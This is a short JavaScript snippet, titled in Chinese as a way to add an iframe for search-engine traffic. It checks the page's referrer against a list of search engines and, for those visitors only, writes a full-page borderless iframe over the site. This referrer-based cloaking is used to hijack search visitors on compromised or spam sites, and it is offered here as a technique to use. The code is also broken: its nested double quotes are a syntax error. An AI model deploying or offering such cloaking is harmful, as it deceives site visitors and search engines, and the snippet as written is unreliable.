来自搜索引擎的流量增加iframe

var fromUrl = document.referrer;
if (fromUrl) {
    fromUrl = fromUrl.slice(8);
    var getUrl = fromUrl.split('/');
    var domain = getUrl[0];
    var start = domain.indexOf('.');
    domain = domain.slice(start + 1);
}

if (domain == "baidu.com" || domain == "google.com" || domain == "g.cn" || domain == "so.com" || domain == "soso.com" || domain == "haosou.com" || domain == "google.com.hk" || domain == "youdao.com" || domain == "sogou.com" || domain == "bing.com") 
document.writeln("<iframe  border=0  scrolling=no width=100% height=2500 src="http://www.baidu.com// "></iframe>");